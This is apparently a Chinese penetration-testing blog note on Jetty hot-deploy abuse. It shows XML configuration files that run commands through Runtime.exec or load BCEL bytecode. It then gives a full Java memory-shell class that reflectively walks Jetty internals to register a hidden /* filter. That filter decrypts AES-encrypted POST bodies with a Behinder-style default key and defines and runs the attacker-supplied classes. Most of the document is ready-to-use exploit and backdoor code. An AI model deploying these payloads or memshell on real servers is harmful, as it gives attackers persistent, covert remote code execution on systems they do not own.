jetty的xml加载命令执行的特性/另类内存马注入
前言:jetty 的另类内存马注入的笔记
参考文章:https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/
参考文章:https://www.cnblogs.com/hustdc/p/8366606.html
jetty xml命令执行
jetty其中存在一种利用方法是通过当不支持脚本文件解析的情况下,如果能上传xml文件到webapps根目录下的,默认热部署支持解析从从而进行命令执行
执行calc如下所示
<?xml version="1.0"?><!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
<Call id="foo" class="java.lang.Runtime" name="getRuntime"></Call>
<Ref refid="foo">
<Call name="exec">
<Arg>calc</Arg>
</Call>
</Ref>
</Configure>
通过bcel类字节码进行加载的话调用格式如下所示
<?xml version="1.0"?><!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "http://www.eclipse.org/jetty/configure_9_3.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
<New id="foo" class="com.sun.org.apache.bcel.internal.util.ClassLoader"></New>
<Ref refid="foo">
<Call id="test1" name="loadClass">
<Arg>$$BCEL$。。。。。。。。</Arg>
</Call>
</Ref>
<Ref refid="test1">
<Call name="newInstance"></Call>
</Ref>
</Configure>
另类内存马注入
默认来说一般都是在已经部署好的web的目录中进行访问,如果是这样的话,那么默认获取的ContextClassLoader 是 WebAppClassLoader,对应的直接通过网上公开的通过Thread.currentThread()找到对应的一条路径进行注入即可
但是这边遇到的情况是在根目录通过xml方式来进行加载字节码,无法通过线程来直接获取WebAppClassLoader,默认获取的就是AppClassLoader,这就导致了无法用公开的注入路径来实现内存马注入,如下图所示
所以这里使用c0ny1的java-object-researcher工具搜索相关的关键类型,这里需要注意的下面这段代码是放在加载字节码中的,因为是通过加载字节码中的代码来实现的内存马注入,所以寻找对应的webappContext类也是在当前的变量中进行寻找
try {
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("HttpConnection").build());
keys.add(new Keyword.Builder().setField_type("WebAppContext").build());
keys.add(new Keyword.Builder().setField_type("WebAppClassLoader").build());
keys.add(new Keyword.Builder().setField_type("ServletHandler").build());
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为30
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("D:\\ALL\\javaidea\\jetty-demo2");
searcher.searchObject();
}catch (Exception e){
e.printStackTrace();
}
一共发现三条路径,这里选择其中一条即可,如下所示
构造出对应路径的内存马如下所示
package com.zpchcbd.classloader;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.deploy.providers.ScanningAppProvider;
import org.eclipse.jetty.deploy.providers.WebAppProvider;
import org.eclipse.jetty.util.Scanner;
import org.eclipse.jetty.webapp.WebAppContext;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.*;
public class JettyFilterMemshell3 extends AbstractTranslet implements Filter {
static {
try {
String filterName = "TestFilter";
String urlPattern = "/*";
Thread thread = Thread.currentThread();
Field field = Class.forName("java.util.TimerThread").getDeclaredField("queue");
field.setAccessible(true);
Field field_2 = Class.forName("java.util.TaskQueue").getDeclaredField("queue");
field_2.setAccessible(true);
TimerTask[] timerTasks = (TimerTask[])field_2.get(field.get(thread));
field = timerTasks[1].getClass().getDeclaredField("this$0");
field.setAccessible(true);
Scanner scanner = (Scanner)field.get(timerTasks[1]);
field = scanner.getClass().getDeclaredField("_listeners");
field.setAccessible(true);
List listenerList = (List)field.get(scanner);
Scanner.DiscreteListener discreteListener = (Scanner.DiscreteListener) listenerList.get(0);
field = discreteListener.getClass().getDeclaredField("this$0");
field.setAccessible(true);
WebAppProvider webAppProvider = (WebAppProvider)field.get(discreteListener);
field = webAppProvider.getClass().getSuperclass().getDeclaredField("_appMap");
field.setAccessible(true);
Map<String,org.eclipse.jetty.deploy.App> _appMap = (Map<String,org.eclipse.jetty.deploy.App>)field.get(webAppProvider);
org.eclipse.jetty.webapp.WebAppContext webAppContext = null;
for (org.eclipse.jetty.deploy.App app : _appMap.values()) {
field = app.getClass().getDeclaredField("_context");
field.setAccessible(true);
webAppContext = (WebAppContext)field.get(app);
if (webAppContext != null) {
field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
field.setAccessible(true);
Object handler = field.get(webAppContext);
field = handler.getClass().getDeclaredField("_filters");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(handler);
boolean flag = false;
for (Object o : objects) {
field = o.getClass().getSuperclass().getDeclaredField("_name");
field.setAccessible(true);
String name = (String) field.get(o);
if (name.equals(filterName)) {
flag = true;
break;
}
}
if (!flag) {
ClassLoader classLoader = handler.getClass().getClassLoader();
Class sourceClazz = null;
Object holder = null;
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
try {
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
field = sourceClazz.getDeclaredField("JAVAX_API");
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);
Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz);
holder = method.invoke(handler, field.get(null));
} catch (ClassNotFoundException e) {
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz);
holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API"));
}
holder.getClass().getMethod("setName", String.class).invoke(holder, filterName);
Filter filter = new com.zpchcbd.classloader.JettyFilterMemshell3();
holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, filter);
handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder);
Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
Object filterMapping = clazz.newInstance();
Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass());
method.setAccessible(true);
method.invoke(filterMapping, holder);
filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}});
filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST));
// // prependFilterMapping 会自动把 filter 加到最前面
handler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(handler, filterMapping);
}
}
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {
try {
System.out.println("Do Filter ......");
// 获取request和response对象
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
}catch (Exception e){
e.printStackTrace();
}
chain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
结果如下图所示